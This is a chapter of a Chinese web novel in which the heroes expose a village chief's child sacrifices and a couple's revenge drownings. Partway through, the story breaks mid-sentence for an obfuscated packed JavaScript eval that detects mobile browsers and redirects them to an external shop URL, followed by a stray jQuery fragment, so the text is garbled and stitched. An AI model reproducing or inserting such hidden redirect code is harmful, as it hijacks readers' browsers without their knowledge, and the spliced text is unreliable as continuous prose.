云知绾拿起搁置在一旁的烛灯,拿着记录册便原路返回,裴隽跟在她身后。


    逼仄的空间内只剩下宋昀棠一人。


    心中那股无名的空荡感再次袭来,甚至伴随着心脏钝痛。


    一阵天旋地转后,他重新站定。


    忽而,他的眼神沉静,眼前的一切如此熟悉又陌生。


    ***


    云知绾二人刚来到入口,石门竟缓缓被打开。


    正有人守在门外,准备进到祭祀台内。


    “这些都是白日里来找我们麻烦的那几个。”云知绾同裴隽解释。


    村长已经被他们松绑,正在替他们按着桌下暗格。


    “怎么只有你们两个?”


    他瞪大了眼睛看着二人,面带惧色。


    “看来大祭司说的是真的,擅自闯入祭祀台之人,必死无疑……”


    死了?


    那不是就拿不到解药了?


    一旁的几个人目光瞬间沉了下去,心里对王大娘和陈叔两口子也多了几分怨恨。


    若不是他俩非要撺掇他们去闹事,也不至于要跟着陪葬。


    “不过是发现了一些有趣的事,倒也不至于丧命,村长何出此言啊?”


    黑暗中传来清冷的男声,云知绾也在此刻冷笑着配合晃了晃手中的记录册。


    几个大汉不知道那是什么,村长却熟悉得很。


    面目变得狰狞可怕,眼神死死盯着记录册,伸出手便要上来抢。


    却被裴隽先一步上前挡下。


    “恶事做尽,还想销毁证据吗?”


    “谁许你们拿的,谁许你们拿的!”


    “闭嘴!”云知绾一改往日柔婉,神色冷峻,“簋村的秘密现在就在我手中,你最好赶紧去给我把初蕴浅找到,若你不知道她在哪,就让全村人都去找。否则——”


    威胁之意外露,带着不可抗拒的震慑。


    裴隽骇异。


    今晚是怎么了,只不过丢了一个初蕴浅,为何阿绾和宋昀棠都变成了这副陌生的样子?


    “初蕴浅?”身后的宋昀棠蓦地开口。


    就在这时,长顺从院外跌跌撞撞地闯进来。


    “阿牛哥,不好了!有鬼,有鬼!快去救救我阿耶阿娘!”


    本就神经紧绷的村长被他这么一吼,也来了脾气,猛一敲桌子。


    “胡说八道,哪里来的鬼?”


    “是真的!”


    见村长不肯相信,长顺就势拉住裴隽的袖子,将方才的所见所闻都告诉三人。


    来不及多想,宋昀棠已经抬腿往村口河的方向奔去。


    长顺泪流满面地跪下来,“我知道阿耶阿娘定是做了孽,可他们毕竟是我父母,我求求你们救救他们吧。”


    云知绾带着裴隽和长顺一路追赶。


    河边早已没了初蕴浅和王大娘两口子的身影,只剩下漆黑夜色里潺潺而流的水声。


    “初蕴浅,你在哪!”


    刚一喊出声,宋昀棠却想起一件事,心中绝望。


    他记得,这时候的浅浅被毒哑了,偏偏凶手还是自己。


    河边的柴房被废弃多年,没人修葺,早已破败不堪。


    初蕴浅费了九牛二虎之力才把王大娘二人拖进柴房,扇了扇眼前飘下的灰,从尘封在角落未上锁的盒子里拿出几盏还能用的灯,用火折子点燃。


    柴房窗子漏风,反正也要等上一会儿,主角团也就该到河边来了,她索性继续在箱子里翻翻,看有没有能用的厚褥子或外套能暂时避寒。


    “你怎么在这儿!”


    还没找到取暖工具,倒是先把大魔头等来了。


    初蕴浅纳闷着,手中的动作也停了下来。


    他这么快?还以为要等上好一会儿呢。


    嗯?


    他的表情怎么这么不对劲?


    还没琢磨明白的初蕴浅,被宋昀棠上前一把抱进怀中。


    幸好她没事,幸好她还活着。


    他脱下自己的狐氅,将湿漉漉的初蕴浅包裹住,一边用双手暖着她的脸颊,一边神情激动地问:“你怎么在这儿?你怎么会来簋村!”


    初蕴浅更加无语。


    自己的确是不想来的,明明是他拿解药威逼利诱自己,现在倒还来质问她?


    莫名其妙。


    二人的距离实在有些暧昧了,初蕴浅将他推开,目光怪异地看着他脸上焦急的神情。


    “浅浅……”


    宋昀棠细细打量着她脸上每一寸皮肤,眼底噙着泪光呢喃。


    初蕴浅看了看他身后,正要问他云知绾和裴隽怎么没跟着来。


    他们两个可是主角,她还有很重要的事情要告诉云知绾呢。


    可举起的手还没来得及比划,双颊却被面前的人迅速捧住。


    接着,一个让她避无可避的吻便落了下来。


    初蕴浅大脑瞬间宕机。


    不是大哥你这是做什么?


    你认错人了,我不是这个世界的初蕴浅!


    她有苦难言,却任凭使出周身的力气也推不开宋昀棠,反而被他越搂越紧。


    “阿浅!”


    云知绾刚带着人赶来,正好撞见这一幕,有些尴尬地愣住。


    一吻终了,宋昀棠慢慢地放开了她。


    初蕴浅的理智回笼,这才注意到柴房不知何时来了好些人。


    云知绾和裴隽如同被雷劈了一般僵在门口,一旁几个大汉押着村长向宋昀棠讨要解药。


    “太好了,你还活着。”


    云知绾激动地上前拉着她反复察看,并未发现有何受伤的痕迹后,总算是放下心来。


    “既然你们已经找到同伴了,可以把东西还给我了吧?”


    村长的眼神死死盯着云知绾手中的记录册。


    跟着众人来到柴房的长顺,原本趁着其他人没空搭理这边时,悄悄拍醒王大娘两口子,给他们松了绑。


    陈叔一边活泛着双臂一边小声地说:“初蕴浅肯定会和宋昀棠告状的,咱们先走,剩下的事回头再说好不好?”


    可任凭他怎么劝,王大娘也不肯挪动脚步。


    同村长一样,她也盯着云知绾手里的东西。


    她的瞳孔一缩,瞬间明白那是什么东西。


    不能让村长拿到!


    王大娘悄悄绕至几人身后,准备抢走记录册。


    可还没得手,裴隽眼尖地发现她的动作,迅速将她推到在地。


    王大娘瘫倒在地,那条跛了的腿传来的疼痛让她无法忽视。


    可她顾不上这个,指着记录册,声音嘶哑道:“别给他,这都是他害死云花的证据!”


    “什么证据?”


    偶然听到熟悉的名字,长顺也往这边看来。


    他知道自己曾有一个姐姐,不过三岁那年,阿姐便出了意外。


    小时候无意间听到父母谈论阿姐的死,可当他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15902250|176690||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    主动问起,却不知怎的触怒了阿耶阿娘,换来一顿毒打。


    之后他再也不敢提到关于阿姐的任何事,久之也就慢慢淡忘了。


    可那日阿娘不是说阿姐是失足落水么,怎么又成村长害死的?


    村长眼神躲闪,声音也有些发虚:“你、你都知道了?”


    见时机差不多了,初蕴浅转身搬出一堆东西。


    众人定睛一看,是一堆杉木管、一个黑陶罐,以及一个风囊。


    原本两端开口的囊袋被绳索扎紧了一端,形成一个漏斗模样,还加了细竹条撑起。


    “何止是知道?村长的一双儿女是被王大娘和陈叔所杀,所谓怨童索命,也是你用这些机关伪造的孩童哭声。你既想报仇,想让村长也体会失去儿女的痛苦,又想通过这件事恐吓村里当年帮着村长献祭童男童女的人。而你,完全可以躲在谣言后看着他们自乱阵脚。”


    初蕴浅一通比划,宋昀棠为她翻译后更觉诧异。


    这些事,浅浅是怎么知道的?


    “竟然是你们,是你们害死了我的孩子!”


    村长在壮汉手中拼命挣扎,脖子上的青筋已经暴起。


    “你有怨气冲我来啊,我的孩子是无辜的,你竟也狠得下心对他们动手!”


    王大娘的眼神充满了怨恨,但又很快冷静下来,不屑地嗤笑。


    “你说我是杀人凶手,你有证据吗?”


    初蕴浅沉默地从袖袋里取出一根发带,上面绣着歪歪扭扭的字样。


    似乎已经被水浸泡许久,线头都已经泡出。


    村长一眼便认出,“这是囡囡的发带,她阿娘早逝,这发带是我做给她的。”


    初蕴浅一副刚从河里爬出来的样子,显然这是她从河里捞出来的。


    “方才长顺来找我们时,不就是说他老娘把初姑娘推入河中才碰上亡魂来索命了吗?这还不能说明情况?”


    听押着村长的壮汉这样说,长顺发软,一屁股跌坐在地。


    他那时着急,想要找人去救阿娘阿耶,哪里想得到蕴浅姐姐还活着?


    更让他没想到的是,原来村长儿女的死,竟和阿耶阿娘有关!


    本就害怕的陈叔见证据确凿,再也忍不住,“噗通”一声跪下。


    “我承认,根本没有怨童索命,村长的一双儿女是我们推入河中淹死的,村里那些半夜发出孩童哭声的机关,也都是我们做的。”


    说罢,他又急着为自己辩解。


    “可我们是有苦衷的,是村长,是他害死我女儿在先!我只不过是要报仇雪恨罢了!”


    陈叔苍老松弛的手指着村长,眼球凸起像是随时会掉落一般,声音凄厉令人胆寒。


    “若不是他十五年前做出的那些事,又怎会有如今这番报应?云姑娘,他作恶的证据就在你手里,快拿出来给他们看啊!”


    云知绾叹了口气,将记录册翻开,高高举起,展示在众人面前。


    十五年前的真相也浮出水面。


    当年,芦云镇被朝廷收回参与制作火药的权力,镇民们也一下失去在墨梨镇人面前趾高气昂的最大倚仗。


    村长不服气,暗中找回在外游历的大祭司。


    大祭司告诉他,只要在村子里修建一个秘密的祭祀台,就能改变芦云镇落魄的气运。


    可修建的过程并不顺利,于是村长便联合一些人,在村里强行绑走十对十岁的童男童女,对外称他们都是失足落了水。